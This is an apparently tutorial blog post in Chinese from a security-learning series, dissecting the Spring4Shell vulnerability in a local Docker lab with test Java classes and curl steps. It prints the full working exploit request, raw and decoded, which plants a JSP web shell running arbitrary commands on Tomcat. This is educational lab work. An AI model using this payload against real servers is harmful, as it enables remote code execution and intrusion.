iT邦幫忙

2022 iThome 鐵人賽

DAY 7
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 8

Day07 - 裁判,可以讓人這樣點了又點,點了又點,點了又點,點了又點嗎?? (作業2)

  • 分享至 

  • xImage
  •  

Yes

  • 在上次影片我們建立了一個自己的弱點專案環境,那第七天要開始針對漏洞原理做一些簡單的測試部分。但在測試之前要先觀察一下這個Spring4Shell漏洞的相關payload。

  • 首先,從上次第一次透過封包監聽取得的payload參考如下。

POST / HTTP/1.1
Host: localhost:8066
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=    
  • 但這payload為了傳輸方便有做URLEncode,因此為了分析必須先進行URLDecode的動作,透過線上網站 Decode from URL-encoded format 可解碼 payload資訊如下。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
  • 這段 payload 由兩部分組成,第一個部分的格式是一堆 . 的方式,依據之前對 data binding 的了解,透過 . 的方式會呼叫對應 getXXX 函式,而最後的 = 會呼叫 setXXX 函式。為了驗證這個猜想,我們可以微調這個弱點專案觀察呼叫的過程,並加入了Game這個物件到User的物件中。
public class User {
	private String username;
	private Game usergame;
	
	public User() {
		System.out.println("create User");
	}
	public String getUsername() {
		System.out.println("getUsername()=" + usergame);
		return this.username;
	}
	public void setUsername(String username) {
		System.out.println("setUsername(" + username + ")");
		this.username = username;
	}
	public Game getUsergame() {
		System.out.println("getUsergame()=" + usergame);
		return usergame;
	}
	public void setUsergame(Game usergame) {
		System.out.println("setUsergame(" + usergame + ")");
		this.usergame = usergame;
	}
}
public class Game {
	private String gamename;	
	public Game() {
		System.out.println("create Game");
	}
	public String getGamename() {
		System.out.println("getGamename()=" + gamename);
		return gamename;
	}
	public void setGamename(String gamename) {
		System.out.println("setGamename(" + gamename + ")");
		this.gamename = gamename;
	}	
}
	@RequestMapping({ "", "/" })
	public String test(User user) {
		System.out.println("I am " + user.getUsername());
		if(user.getUsergame()!=null) {
			System.out.println("I have game " + user.getUsergame().getGamename());
		}
		return "ok";
	}
  • 為了方便之後編譯,這邊寫了一個 build.sh 腳本方便執行,腳本內容如下(作業: 依照自身環境微調路徑位置)。
PATH="jdk9的絕對路徑":$PATH
cd Spring4Shell 
mvn clean package -DskipTests 
cd ..
mv Spring4Shell/target/Spring4Shell-0.0.1-SNAPSHOT.war Spring4Shell/target/Spring4Shell.war
docker rmi my_spring4shell:v1.0 #新增這塊,要不然會累積很多映像檔
docker build --tag my_spring4shell:v1.0 --no-cache .

這邊先用以下資料測試,觀察整理建立物件跟呼叫函式的流程。

  1. docker run -p 8066:8080 --rm --name my_spring4shell my_spring4shell:v1.0 #執行容器
  2. curl "http://localhost:8066/Spring4Shell/?usergame.gamename=mh"
    透過這段 . 組成的 payload 我可以知道他會一路呼叫 getXXX 函式直到最後的 setXXX 函式。參考如下圖:

https://ithelp.ithome.com.tw/upload/images/20220921/20148308A836Z7JOzS.jpg

  • 接著取一個 payload 來觀察,可以順勢組出他的呼叫路徑。以 class.module.classLoader.resources.context.parent.pipeline.first.pattern 為例。

調整步驟如下 :

  1. 新增@RequestMapping如下
@RequestMapping({ "/test1" })
	public String test1(User user) {
		
		System.out.println("ClassLoader="+user.getClass().getModule().getClassLoader().getClass().getName());		
		ParallelWebappClassLoader pw = (ParallelWebappClassLoader) user.getClass().getModule().getClassLoader();
		
		System.out.println("First="+pw.getResources().getContext().getParent().getPipeline().getFirst().getClass().getName());		
		AccessLogValve accesslog = (AccessLogValve) pw.getResources().getContext().getParent().getPipeline().getFirst() ;
		
		System.out.println("Pattern="+accesslog.getPattern());
		System.out.println("Suffix="+accesslog.getSuffix());
		System.out.println("Directory="+accesslog.getDirectory());
		System.out.println("Prefix="+accesslog.getPrefix());
		System.out.println("FileDateFormat="+accesslog.getFileDateFormat());
		
		return "test1";
	}
  1. sh build.sh
  2. curl "http://localhost:8066/Spring4Shell/test1/" #呼叫進行資料呈現
  3. 透過攻擊payload 進行攻擊
  4. curl "http://localhost:8066/Spring4Shell/test1/" #再次呼叫進行資料呈現

上一篇
Day 06 亂入 - Dirty 漏洞系列,Assemble!!!!
下一篇
Day08 - 今天一天來建立滿滿的大....IP平台 (作業2解答)
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言